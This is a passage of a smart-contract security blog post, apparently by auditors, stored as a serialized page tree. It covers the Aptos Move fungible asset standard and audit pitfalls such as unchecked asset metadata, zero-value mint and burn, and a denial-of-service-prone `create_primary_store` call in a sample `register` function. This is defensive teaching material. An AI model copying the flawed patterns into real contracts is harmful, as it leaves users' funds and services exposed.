event",{"type":23,"tag":141,"props":60482,"children":60483},{"style":160},[60484],{"type":29,"value":2141},{"type":23,"tag":141,"props":60486,"children":60487},{"style":184},[60488],{"type":29,"value":60489},"emit",{"type":23,"tag":141,"props":60491,"children":60492},{"style":154},[60493],{"type":29,"value":192},{"type":23,"tag":141,"props":60495,"children":60496},{"style":725},[60497],{"type":29,"value":60498},"Deposit",{"type":23,"tag":141,"props":60500,"children":60501},{"style":154},[60502],{"type":29,"value":43694},{"type":23,"tag":141,"props":60504,"children":60505},{"style":750},[60506],{"type":29,"value":60372},{"type":23,"tag":141,"props":60508,"children":60509},{"style":154},[60510],{"type":29,"value":480},{"type":23,"tag":141,"props":60512,"children":60513},{"style":750},[60514],{"type":29,"value":60363},{"type":23,"tag":141,"props":60516,"children":60517},{"style":154},[60518],{"type":29,"value":31491},{"type":23,"tag":141,"props":60520,"children":60521},{"class":143,"line":2304},[60522],{"type":23,"tag":141,"props":60523,"children":60524},{"style":154},[60525],{"type":29,"value":2573},{"type":23,"tag":32,"props":60527,"children":60528},{},[60529],{"type":29,"value":60530},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":23,"tag":32,"props":60532,"children":60533},{},[60534],{"type":29,"value":60535},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":23,"tag":24,"props":60537,"children":60539},{"id":60538},"fungible-stores",[60540],{"type":29,"value":60541},"Fungible stores",{"type":23,"tag":32,"props":60543,"children":60544},{},[60545],{"type":29,"value":60546},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":23,"tag":32,"props":60548,"children":60549},{},[60550,60552,60558],{"type":29,"value":60551},"Meet the ",{"type":23,"tag":38,"props":60553,"children":60555},{"className":60554},[],[60556],{"type":29,"value":60557},"FungibleStore",{"type":29,"value":322},{"type":23,"tag":131,"props":60560,"children":60562},{"className":1639,"code":60561,"language":1638,"meta":7,"style":7},"struct FungibleStore has key {\n metadata: Object\u003CMetadata>,\n balance: u64,\n frozen: bool,\n}\n",[60563],{"type":23,"tag":38,"props":60564,"children":60565},{"__ignoreMap":7},[60566,60590,60617,60637,60656],{"type":23,"tag":141,"props":60567,"children":60568},{"class":143,"line":144},[60569,60573,60578,60582,60586],{"type":23,"tag":141,"props":60570,"children":60571},{"style":449},[60572],{"type":29,"value":8079},{"type":23,"tag":141,"props":60574,"children":60575},{"style":725},[60576],{"type":29,"value":60577}," FungibleStore",{"type":23,"tag":141,"props":60579,"children":60580},{"style":750},[60581],{"type":29,"value":8088},{"type":23,"tag":141,"props":60583,"children":60584},{"style":750},[60585],{"type":29,"value":4605},{"type":23,"tag":141,"props":60587,"children":60588},{"style":154},[60589],{"type":29,"value":1951},{"type":23,"tag":141,"props":60591,"children":60592},{"class":143,"line":180},[60593,60597,60601,60605,60609,60613],{"type":23,"tag":141,"props":60594,"children":60595},{"style":750},[60596],{"type":29,"value":60033},{"type":23,"tag":141,"props":60598,"children":60599},{"style":160},[60600],{"type":29,"value":114},{"type":23,"tag":141,"props":60602,"children":60603},{"style":725},[60604],{"type":29,"value":60042},{"type":23,"tag":141,"props":60606,"children":60607},{"style":154},[60608],{"type":29,"value":4480},{"type":23,"tag":141,"props":60610,"children":60611},{"style":725},[60612],{"type":29,"value":60051},{"type":23,"tag":141,"props":60614,"children":60615},{"style":154},[60616],{"type":29,"value":4812},{"type":23,"tag":141,"props":60618,"children":60619},{"class":143,"line":205},[60620,60625,60629,60633],{"type":23,"tag":141,"props":60621,"children":60622},{"style":750},[60623],{"type":29,"value":60624}," balance",{"type":23,"tag":141,"props":60626,"children":60627},{"style":160},[60628],{"type":29,"value":114},{"type":23,"tag":141,"props":60630,"children":60631},{"style":725},[60632],{"type":29,"value":4534},{"type":23,"tag":141,"props":60634,"children":60635},{"style":154},[60636],{"type":29,"value":2168},{"type":23,"tag":141,"props":60638,"children":60639},{"class":143,"line":218},[60640,60644,60648,60652],{"type":23,"tag":141,"props":60641,"children":60642},{"style":750},[60643],{"type":29,"value":59694},{"type":23,"tag":141,"props":60645,"children":60646},{"style":160},[60647],{"type":29,"value":114},{"type":23,"tag":141,"props":60649,"children":60650},{"style":725},[60651],{"type":29,"value":10730},{"type":23,"tag":141,"props":60653,"children":60654},{"style":154},[60655],{"type":29,"value":2168},{"type":23,"tag":141,"props":60657,"children":60658},{"class":143,"line":227},[60659],{"type":23,"tag":141,"props":60660,"children":60661},{"style":154},[60662],{"type":29,"value":2573},{"type":23,"tag":32,"props":60664,"children":60665},{},[60666,60671,60673,60678,60680,60685,60687,60692,60694,60699],{"type":23,"tag":38,"props":60667,"children":60669},{"className":60668},[],[60670],{"type":29,"value":60557},{"type":29,"value":60672}," manages balances and metadata instead of holding the actual ",{"type":23,"tag":38,"props":60674,"children":60676},{"className":60675},[],[60677],{"type":29,"value":59992},{"type":29,"value":60679}," (it can't because ",{"type":23,"tag":38,"props":60681,"children":60683},{"className":60682},[],[60684],{"type":29,"value":59992},{"type":29,"value":60686}," doesn't have ",{"type":23,"tag":38,"props":60688,"children":60690},{"className":60689},[],[60691],{"type":29,"value":4614},{"type":29,"value":60693},"). Withdrawals create temporary ",{"type":23,"tag":38,"props":60695,"children":60697},{"className":60696},[],[60698],{"type":29,"value":59992},{"type":29,"value":60700}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":23,"tag":17463,"props":60702,"children":60703},{},[],{"type":23,"tag":32,"props":60705,"children":60706},{},[60707,60709,60714,60716,60721],{"type":29,"value":60708},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":23,"tag":38,"props":60710,"children":60712},{"className":60711},[],[60713],{"type":29,"value":59992},{"type":29,"value":60715}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":23,"tag":38,"props":60717,"children":60719},{"className":60718},[],[60720],{"type":29,"value":59992},{"type":29,"value":322},{"type":23,"tag":131,"props":60723,"children":60725},{"className":1639,"code":60724,"language":1638,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n let FungibleAsset { amount, metadata: _ } = fungible_asset;\n assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n FungibleAsset {\n metadata: object::convert(metadata),\n amount: 0,\n }\n}\n",[60726],{"type":23,"tag":38,"props":60727,"children":60728},{"__ignoreMap":7},[60729,60766,60818,60861,60868,60875,60947,60959,60997,61016,61023],{"type":23,"tag":141,"props":60730,"children":60731},{"class":143,"line":144},[60732,60736,60740,60745,60749,60754,60758,60762],{"type":23,"tag":141,"props":60733,"children":60734},{"style":750},[60735],{"type":29,"value":60156},{"type":23,"tag":141,"props":60737,"children":60738},{"style":750},[60739],{"type":29,"value":4881},{"type":23,"tag":141,"props":60741,"children":60742},{"style":184},[60743],{"type":29,"value":60744}," destroy_zero",{"type":23,"tag":141,"props":60746,"children":60747},{"style":154},[60748],{"type":29,"value":192},{"type":23,"tag":141,"props":60750,"children":60751},{"style":750},[60752],{"type":29,"value":60753},"fungible_asset",{"type":23,"tag":141,"props":60755,"children":60756},{"style":160},[60757],{"type":29,"value":114},{"type":23,"tag":141,"props":60759,"children":60760},{"style":725},[60761],{"type":29,"value":60021},{"type":23,"tag":141,"props":60763,"children":60764},{"style":154},[60765],{"type":29,"value":13480},{"type":23,"tag":141,"props":60767,"children":60768},{"class":143,"line":180},[60769,60773,60777,60781,60785,60789,60794,60798,60802,60806,60810,60814],{"type":23,"tag":141,"props":60770,"children":60771},{"style":449},[60772],{"type":29,"value":1659},{"type":23,"tag":141,"props":60774,"children":60775},{"style":725},[60776],{"type":29,"value":60021},{"type":23,"tag":141,"props":60778,"children":60779},{"style":154},[60780],{"type":29,"value":8264},{"type":23,"tag":141,"props":60782,"children":60783},{"style":750},[60784],{"type":29,"value":18978},{"type":23,"tag":141,"props":60786,"children":60787},{"style":154},[60788],{"type":29,"value":480},{"type":23,"tag":141,"props":60790,"children":60791},{"style":750},[60792],{"type":29,"value":60793},"metadata",{"type":23,"tag":141,"props":60795,"children":60796},{"style":160},[60797],{"type":29,"value":114},{"type":23,"tag":141,"props":60799,"children":60800},{"style":750},[60801],{"type":29,"value":1697},{"type":23,"tag":141,"props":60803,"children":60804},{"style":154},[60805],{"type":29,"value":34673},{"type":23,"tag":141,"props":60807,"children":60808},{"style":160},[60809],{"type":29,"value":1377},{"type":23,"tag":141,"props":60811,"children":60812},{"style":750},[60813],{"type":29,"value":60288},{"type":23,"tag":141,"props":60815,"children":60816},{"style":154},[60817],{"type":29,"value":1684},{"type":23,"tag":141,"props":60819,"children":60820},{"class":143,"line":205},[60821,60826,60830,60834,60838,60842,60847,60851,60856],{"type":23,"tag":141,"props":60822,"children":60823},{"style":184},[60824],{"type":29,"value":60825}," assert!",{"type":23,"tag":141,"props":60827,"children":60828},{"style":154},[60829],{"type":29,"value":192},{"type":23,"tag":141,"props":60831,"children":60832},{"style":750},[60833],{"type":29,"value":18978},{"type":23,"tag":141,"props":60835,"children":60836},{"style":160},[60837],{"type":29,"value":1942},{"type":23,"tag":141,"props":60839,"children":60840},{"style":472},[60841],{"type":29,"value":1707},{"type":23,"tag":141,"props":60843,"children":60844},{"style":154},[60845],{"type":29,"value":60846},", error",{"type":23,"tag":141,"props":60848,"children":60849},{"style":160},[60850],{"type":29,"value":2141},{"type":23,"tag":141,"props":60852,"children":60853},{"style":184},[60854],{"type":29,"value":60855},"invalid_argument",{"type":23,"tag":141,"props":60857,"children":60858},{"style":154},[60859],{"type":29,"value":60860},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":23,"tag":141,"props":60862,"children":60863},{"class":143,"line":218},[60864],{"type":23,"tag":141,"props":60865,"children":60866},{"style":154},[60867],{"type":29,"value":2573},{"type":23,"tag":141,"props":60869,"children":60870},{"class":143,"line":227},[60871],{"type":23,"tag":141,"props":60872,"children":60873},{"emptyLinePlaceholder":15},[60874],{"type":29,"value":719},{"type":23,"tag":141,"props":60876,"children":60877},{"class":143,"line":241},[60878,60882,60886,60891,60895,60899,60903,60907,60911,60915,60919,60923,60927,60931,60935,60939,60943],{"type":23,"tag":141,"props":60879,"children":60880},{"style":750},[60881],{"type":29,"value":60156},{"type":23,"tag":141,"props":60883,"children":60884},{"style":750},[60885],{"type":29,"value":4881},{"type":23,"tag":141,"props":60887,"children":60888},{"style":750},[60889],{"type":29,"value":60890}," zero",{"type":23,"tag":141,"props":60892,"children":60893},{"style":154},[60894],{"type":29,"value":4480},{"type":23,"tag":141,"props":60896,"children":60897},{"style":725},[60898],{"type":29,"value":4661},{"type":23,"tag":141,"props":60900,"children":60901},{"style":160},[60902],{"type":29,"value":114},{"type":23,"tag":141,"props":60904,"children":60905},{"style":750},[60906],{"type":29,"value":4605},{"type":23,"tag":141,"props":60908,"children":60909},{"style":154},[60910],{"type":29,"value":6285},{"type":23,"tag":141,"props":60912,"children":60913},{"style":750},[60914],{"type":29,"value":60793},{"type":23,"tag":141,"props":60916,"children":60917},{"style":160},[60918],{"type":29,"value":114},{"type":23,"tag":141,"props":60920,"children":60921},{"style":725},[60922],{"type":29,"value":60042},{"type":23,"tag":141,"props":60924,"children":60925},{"style":154},[60926],{"type":29,"value":4480},{"type":23,"tag":141,"props":60928,"children":60929},{"style":725},[60930],{"type":29,"value":4661},{"type":23,"tag":141,"props":60932,"children":60933},{"style":154},[60934],{"type":29,"value":7064},{"type":23,"tag":141,"props":60936,"children":60937},{"style":160},[60938],{"type":29,"value":114},{"type":23,"tag":141,"props":60940,"children":60941},{"style":725},[60942],{"type":29,"value":60021},{"type":23,"tag":141,"props":60944,"children":60945},{"style":154},[60946],{"type":29,"value":1951},{"type":23,"tag":141,"props":60948,"children":60949},{"class":143,"line":262},[60950,60955],{"type":23,"tag":141,"props":60951,"children":60952},{"style":725},[60953],{"type":29,"value":60954}," FungibleAsset",{"type":23,"tag":141,"props":60956,"children":60957},{"style":154},[60958],{"type":29,"value":1951},{"type":23,"tag":141,"props":60960,"children":60961},{"class":143,"line":271},[60962,60967,60971,60976,60980,60985,60989,60993],{"type":23,"tag":141,"props":60963,"children":60964},{"style":750},[60965],{"type":29,"value":60966}," metadata",{"type":23,"tag":141,"props":60968,"children":60969},{"style":160},[60970],{"type":29,"value":114},{"type":23,"tag":141,"props":60972,"children":60973},{"style":154},[60974],{"type":29,"value":60975}," object",{"type":23,"tag":141,"props":60977,"children":60978},{"style":160},[60979],{"type":29,"value":2141},{"type":23,"tag":141,"props":60981,"children":60982},{"style":184},[60983],{"type":29,"value":60984},"convert",{"type":23,"tag":141,"props":60986,"children":60987},{"style":154},[60988],{"type":29,"value":192},{"type":23,"tag":141,"props":60990,"children":60991},{"style":750},[60992],{"type":29,"value":60793},{"type":23,"tag":141,"props":60994,"children":60995},{"style":154},[60996],{"type":29,"value":5410},{"type":23,"tag":141,"props":60998,"children":60999},{"class":143,"line":293},[61000,61004,61008,61012],{"type":23,"tag":141,"props":61001,"children":61002},{"style":750},[61003],{"type":29,"value":6123},{"type":23,"tag":141,"props":61005,"children":61006},{"style":160},[61007],{"type":29,"value":114},{"type":23,"tag":141,"props":61009,"children":61010},{"style":472},[61011],{"type":29,"value":1707},{"type":23,"tag":141,"props":61013,"children":61014},{"style":154},[61015],{"type":29,"value":2168},{"type":23,"tag":141,"props":61017,"children":61018},{"class":143,"line":801},[61019],{"type":23,"tag":141,"props":61020,"children":61021},{"style":154},[61022],{"type":29,"value":299},{"type":23,"tag":141,"props":61024,"children":61025},{"class":143,"line":810},[61026],{"type":23,"tag":141,"props":61027,"children":61028},{"style":154},[61029],{"type":29,"value":2573},{"type":23,"tag":32,"props":61031,"children":61032},{},[61033],{"type":29,"value":61034},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":23,"tag":32,"props":61036,"children":61037},{},[61038,61040,61045],{"type":29,"value":61039},"In practice, the ability to freely mint and burn zero ",{"type":23,"tag":38,"props":61041,"children":61043},{"className":61042},[],[61044],{"type":29,"value":60134},{"type":29,"value":61046}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":23,"tag":8287,"props":61048,"children":61050},{"id":61049},"primary-and-secondary-stores",[61051],{"type":29,"value":61052},"Primary and secondary stores",{"type":23,"tag":32,"props":61054,"children":61055},{},[61056,61062,61064,61070,61072,61077],{"type":23,"tag":38,"props":61057,"children":61059},{"className":61058},[],[61060],{"type":29,"value":61061},"FungibleStores",{"type":29,"value":61063}," in comparison to ",{"type":23,"tag":38,"props":61065,"children":61067},{"className":61066},[],[61068],{"type":29,"value":61069},"CoinStores",{"type":29,"value":61071}," are not unique. Each user can have multiple ",{"type":23,"tag":38,"props":61073,"children":61075},{"className":61074},[],[61076],{"type":29,"value":60557},{"type":29,"value":61078}," objects for a given token!",{"type":23,"tag":32,"props":61080,"children":61081},{},[61082,61084,61091,61093,61098],{"type":29,"value":61083},"A primary fungible store is maintained via the aptly named ",{"type":23,"tag":55,"props":61085,"children":61088},{"href":61086,"rel":61087},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[59],[61089],{"type":29,"value":61090},"primary_fungible_store",{"type":29,"value":61092}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":23,"tag":38,"props":61094,"children":61096},{"className":61095},[],[61097],{"type":29,"value":60051},{"type":29,"value":61099}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":23,"tag":32,"props":61101,"children":61102},{},[61103],{"type":29,"value":61104},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":23,"tag":131,"props":61106,"children":61108},{"className":1639,"code":61107,"language":1638,"meta":7,"style":7},"public entry fun register(\n user: &signer, [...]\n) acquires [...] {\n [...]\n let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n [...]\n}\n",[61109],{"type":23,"tag":38,"props":61110,"children":61111},{"__ignoreMap":7},[61112,61137,61169,61192,61208,61262,61277],{"type":23,"tag":141,"props":61113,"children":61114},{"class":143,"line":144},[61115,61119,61124,61128,61133],{"type":23,"tag":141,"props":61116,"children":61117},{"style":750},[61118],{"type":29,"value":60156},{"type":23,"tag":141,"props":61120,"children":61121},{"style":750},[61122],{"type":29,"value":61123}," entry",{"type":23,"tag":141,"props":61125,"children":61126},{"style":750},[61127],{"type":29,"value":4881},{"type":23,"tag":141,"props":61129,"children":61130},{"style":184},[61131],{"type":29,"value":61132}," register",{"type":23,"tag":141,"props":61134,"children":61135},{"style":154},[61136],{"type":29,"value":2123},{"type":23,"tag":141,"props":61138,"children":61139},{"class":143,"line":180},[61140,61145,61149,61153,61157,61161,61165],{"type":23,"tag":141,"props":61141,"children":61142},{"style":750},[61143],{"type":29,"value":61144}," user",{"type":23,"tag":141,"props":61146,"children":61147},{"style":160},[61148],{"type":29,"value":114},{"type":23,"tag":141,"props":61150,"children":61151},{"style":160},[61152],{"type":29,"value":5815},{"type":23,"tag":141,"props":61154,"children":61155},{"style":750},[61156],{"type":29,"value":5820},{"type":23,"tag":141,"props":61158,"children":61159},{"style":154},[61160],{"type":29,"value":42612},{"type":23,"tag":141,"props":61162,"children":61163},{"style":160},[61164],{"type":29,"value":8269},{"type":23,"tag":141,"props":61166,"children":61167},{"style":154},[61168],{"type":29,"value":10452},{"type":23,"tag":141,"props":61170,"children":61171},{"class":143,"line":205},[61172,61176,61180,61184,61188],{"type":23,"tag":141,"props":61173,"children":61174},{"style":154},[61175],{"type":29,"value":1748},{"type":23,"tag":141,"props":61177,"children":61178},{"style":750},[61179],{"type":29,"value":5018},{"type":23,"tag":141,"props":61181,"children":61182},{"style":154},[61183],{"type":29,"value":21704},{"type":23,"tag":141,"props":61185,"children":61186},{"style":160},[61187],{"type":29,"value":8269},{"type":23,"tag":141,"props":61189,"children":61190},{"style":154},[61191],{"type":29,"value":60247},{"type":23,"tag":141,"props":61193,"children":61194},{"class":143,"line":218},[61195,61200,61204],{"type":23,"tag":141,"props":61196,"children":61197},{"style":154},[61198],{"type":29,"value":61199}," [",{"type":23,"tag":141,"props":61201,"children":61202},{"style":160},[61203],{"type":29,"value":8269},{"type":23,"tag":141,"props":61205,"children":61206},{"style":154},[61207],{"type":29,"value":10452},{"type":23,"tag":141,"props":61209,"children":61210},{"class":143,"line":227},[61211,61215,61220,61224,61229,61233,61237,61241,61245,61249,61253,61258],{"type":23,"tag":141,"props":61212,"children":61213},{"style":449},[61214],{"type":29,"value":1659},{"type":23,"tag":141,"props":61216,"children":61217},{"style":750},[61218],{"type":29,"value":61219}," wallet_store",{"type":23,"tag":141,"props":61221,"children":61222},{"style":160},[61223],{"type":29,"value":1674},{"type":23,"tag":141,"props":61225,"children":61226},{"style":184},[61227],{"type":29,"value":61228}," create_primary_store",{"type":23,"tag":141,"props":61230,"children":61231},{"style":154},[61232],{"type":29,"value":5874},{"type":23,"tag":141,"props":61234,"children":61235},{"style":160},[61236],{"type":29,"value":2141},{"type":23,"tag":141,"props":61238,"children":61239},{"style":184},[61240],{"type":29,"value":5883},{"type":23,"tag":141,"props":61242,"children":61243},{"style":154},[61244],{"type":29,"value":192},{"type":23,"tag":141,"props":61246,"children":61247},{"style":750},[61248],{"type":29,"value":60342},{"type":23,"tag":141,"props":61250,"children":61251},{"style":154},[61252],{"type":29,"value":13854},{"type":23,"tag":141,"props":61254,"children":61255},{"style":184},[61256],{"type":29,"value":61257},"get_metadata",{"type":23,"tag":141,"props":61259,"children":61260},{"style":154},[61261],{"type":29,"value":14102},{"type":23,"tag":141,"props":61263,"children":61264},{"class":143,"line":241},[61265,61269,61273],{"type":23,"tag":141,"props":61266,"children":61267},{"style":154},[61268],{"type":29,"value":61199},{"type":23,"tag":141,"props":61270,"children":61271},{"style":160},[61272],{"type":29,"value":8269},{"type":23,"tag":141,"props":61274,"children":61275},{"style":154},[61276],{"type":29,"value":10452},{"type":23,"tag":141,"props":61278,"children":61279},{"class":143,"line":262},[61280],{"type":23,"tag":141,"props":61281,"children":61282},{"style":154},[61283],{"type":29,"value":2573},{"type":23,"tag":32,"props":61285,"children":61286},{},[61287,61288,61294,61296,61302],{"type":29,"value":388},{"type":23,"tag":38,"props":61289,"children":61291},{"className":61290},[],[61292],{"type":29,"value":61293},"create_primary_store",{"type":29,"value":61295}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":23,"tag":38,"props":61297,"children":61299},{"className":61298},[],[61300],{"type":29,"value":61301},"ensure_primary_store_exists",{"type":29,"value":61303}," is recommended to avoid such issues.",{"type":23,"tag":24,"props":61305,"children":61307},{"id":61306},"fungible-assets-and-objects",[61308],{"type":29,"value":61309},"Fungible assets and objects",{"type":23,"tag":32,"props":61311,"children":61312},{},[61313,61315,61320,61322,61329],{"type":29,"value":61314},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":23,"tag":38,"props":61316,"children":61318},{"className":61317},[],[61319],{"type":29,"value":47329},{"type":29,"value":61321}," module, introduced in ",{"type":23,"tag":55,"props":61323,"children":61326},{"href":61324,"rel":61325},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[59],[61327],{"type":29,"value":61328},"AIP-10",{"type":29,"value":322},{"type":23,"tag":355,"props":61331,"children":61332},{},[61333],{"type":23,"tag":32,"props":61334,"children":61335},{},[61336,61340],{"type":23,"tag":141,"props":61337,"children":61338},{},[61339],{"type":29,"value":59931},{"type":29,"value":61341}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":23,"tag":32,"props":61343,"children":61344},{},[61345],{"type":29,"value":61346},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":23,"tag":8287,"props":61348,"children":61350},{"id":61349},"creation-and-deletion",[61351],{"type":29,"value":61352},"Creation and deletion",{"type":23,"tag":32,"props":61354,"children":61355},{},[61356,61358,61364],{"type":29,"value":61357},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":23,"tag":38,"props":61359,"children":61361},{"className":61360},[],[61362],{"type":29,"value":61363},"fungible_asset::add_fungibility",{"type":29,"value":114},{"type":23,"tag":131,"props":61366,"children":61368},{"className":1639,"code":61367,"language":1638,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[61369],{"type":23,"tag":38,"props":61370,"children":61371},{"__ignoreMap":7},[61372],{"type":23,"tag":141,"props":61373,"children":61374},{"class":143,"line":144},[61375,61379,61383,61387,61392,61396,61401,61405,61410,61415,61419,61423],{"type":23,"tag":141,"props":61376,"children":61377},{"style":184},[61378],{"type":29,"value":40457},{"type":23,"tag":141,"props":61380,"children":61381},{"style":154},[61382],{"type":29,"value":192},{"type":23,"tag":141,"props":61384,"children":61385},{"style":160},[61386],{"type":29,"value":19293},{"type":23,"tag":141,"props":61388,"children":61389},{"style":154},[61390],{"type":29,"value":61391},"object",{"type":23,"tag":141,"props":61393,"children":61394},{"style":160},[61395],{"type":29,"value":2141},{"type":23,"tag":141,"props":61397,"children":61398},{"style":184},[61399],{"type":29,"value":61400},"can_generate_delete_ref",{"type":23,"tag":141,"props":61402,"children":61403},{"style":154},[61404],{"type":29,"value":192},{"type":23,"tag":141,"props":61406,"children":61407},{"style":750},[61408],{"type":29,"value":61409},"constructor_ref",{"type":23,"tag":141,"props":61411,"children":61412},{"style":154},[61413],{"type":29,"value":61414},"), error",{"type":23,"tag":141,"props":61416,"children":61417},{"style":160},[61418],{"type":29,"value":2141},{"type":23,"tag":141,"props":61420,"children":61421},{"style":184},[61422],{"type":29,"value":60855},{"type":23,"tag":141,"props":61424,"children":61425},{"style":154},[61426],{"type":29,"value":61427},"(EOBJECT_IS_DELETABLE));\n",{"type":23,"tag":32,"props":61429,"children":61430},{},[61431,61433,61438,61440,61445,61446,61453],{"type":29,"value":61432},"This object serves as the foundation for ownership tokens in the form of a ",{"type":23,"tag":38,"props":61434,"children":61436},{"className":61435},[],[61437],{"type":29,"value":59992},{"type":29,"value":61439},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":23,"tag":38,"props":61441,"children":61443},{"className":61442},[],[61444],{"type":29,"value":61363},{"type":29,"value":45},{"type":23,"tag":55,"props":61447,"children":61450},{"href":61448,"rel":61449},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[59],[61451],{"type":29,"value":61452},"lacked this assert",{"type":29,"value":61454},", which we discovered and reported.",{"type":23,"tag":32,"props":61456,"children":61457},{},[61458,61463,61465,61470,61472,61477],{"type":23,"tag":38,"props":61459,"children":61461},{"className":61460},[],[61462],{"type":29,"value":61363},{"type":29,"value":61464}," transfers the ",{"type":23,"tag":38,"props":61466,"children":61468},{"className":61467},[],[61469],{"type":29,"value":60051},{"type":29,"value":61471}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":23,"tag":38,"props":61473,"children":61475},{"className":61474},[],[61476],{"type":29,"value":59992},{"type":29,"value":61478}," can be minted, representing a share of ownership in that object.",{"type":23,"tag":131,"props":61480,"children":61482},{"className":1639,"code":61481,"language":1638,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n [...]\n): Object\u003CMetadata> {\n [...]\n move_to(metadata_object_signer,\n Metadata {\n name,\n symbol,\n decimals,\n icon_uri,\n project_uri,\n }\n );\n[...]\n}\n",[61483],{"type":23,"tag":38,"props":61484,"children":61485},{"__ignoreMap":7},[61486,61494,61514,61529,61556,61571,61592,61604,61616,61628,61640,61652,61664,61671,61678,61693],{"type":23,"tag":141,"props":61487,"children":61488},{"class":143,"line":144},[61489],{"type":23,"tag":141,"props":61490,"children":61491},{"style":443},[61492],{"type":29,"value":61493},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":23,"tag":141,"props":61495,"children":61496},{"class":143,"line":180},[61497,61501,61505,61510],{"type":23,"tag":141,"props":61498,"children":61499},{"style":750},[61500],{"type":29,"value":60156},{"type":23,"tag":141,"props":61502,"children":61503},{"style":750},[61504],{"type":29,"value":4881},{"type":23,"tag":141,"props":61506,"children":61507},{"style":184},[61508],{"type":29,"value":61509}," add_fungibility",{"type":23,"tag":141,"props":61511,"children":61512},{"style":154},[61513],{"type":29,"value":2123},{"type":23,"tag":141,"props":61515,"children":61516},{"class":143,"line":205},[61517,61521,61525],{"type":23,"tag":141,"props":61518,"children":61519},{"style":154},[61520],{"type":29,"value":61199},{"type":23,"tag":141,"props":61522,"children":61523},{"style":160},[61524],{"type":29,"value":8269},{"type":23,"tag":141,"props":61526,"children":61527},{"style":154},[61528],{"type":29,"value":10452},{"type":23,"tag":141,"props":61530,"children":61531},{"class":143,"line":218},[61532,61536,61540,61544,61548,61552],{"type":23,"tag":141,"props":61533,"children":61534},{"style":154},[61535],{"type":29,"value":1788},{"type":23,"tag":141,"props":61537,"children":61538},{"style":160},[61539],{"type":29,"value":114},{"type":23,"tag":141,"props":61541,"children":61542},{"style":725},[61543],{"type":29,"value":60042},{"type":23,"tag":141,"props":61545,"children":61546},{"style":154},[61547],{"type":29,"value":4480},{"type":23,"tag":141,"props":61549,"children":61550},{"style":725},[61551],{"type":29,"value":60051},{"type":23,"tag":141,"props":61553,"children":61554},{"style":154},[61555],{"type":29,"value":5955},{"type":23,"tag":141,"props":61557,"children":61558},{"class":143,"line":227},[61559,61563,61567],{"type":23,"tag":141,"props":61560,"children":61561},{"style":154},[61562],{"type":29,"value":61199},{"type":23,"tag":141,"props":61564,"children":61565},{"style":160},[61566],{"type":29,"value":8269},{"type":23,"tag":141,"props":61568,"children":61569},{"style":154},[61570],{"type":29,"value":10452},{"type":23,"tag":141,"props":61572,"children":61573},{"class":143,"line":241},[61574,61579,61583,61588],{"type":23,"tag":141,"props":61575,"children":61576},{"style":184},[61577],{"type":29,"value":61578}," move_to",{"type":23,"tag":141,"props":61580,"children":61581},{"style":154},[61582],{"type":29,"value":192},{"type":23,"tag":141,"props":61584,"children":61585},{"style":750},[61586],{"type":29,"value":61587},"metadata_object_signer",{"type":23,"tag":141,"props":61589,"children":61590},{"style":154},[61591],{"type":29,"value":2168},{"type":23,"tag":141,"props":61593,"children":61594},{"class":143,"line":262},[61595,61600],{"type":23,"tag":141,"props":61596,"children":61597},{"style":725},[61598],{"type":29,"value":61599}," Metadata",{"type":23,"tag":141,"props":61601,"children":61602},{"style":154},[61603],{"type":29,"value":1951},{"type":23,"tag":141,"props":61605,"children":61606},{"class":143,"line":271},[61607,61612],{"type":23,"tag":141,"props":61608,"children":61609},{"style":750},[61610],{"type":29,"value":61611}," name",{"type":23,"tag":141,"props":61613,"children":61614},{"style":154},[61615],{"type":29,"value":2168},{"type":23,"tag":141,"props":61617,"children":61618},{"class":143,"line":293},[61619,61624],{"type":23,"tag":141,"props":61620,"children":61621},{"style":750},[61622],{"type":29,"value":61623}," symbol",{"type":23,"tag":141,"props":61625,"children":61626},{"style":154},[61627],{"type":29,"value":2168},{"type":23,"tag":141,"props":61629,"children":61630},{"class":143,"line":801},[61631,61636],{"type":23,"tag":141,"props":61632,"children":61633},{"style":750},[61634],{"type":29,"value":61635}," 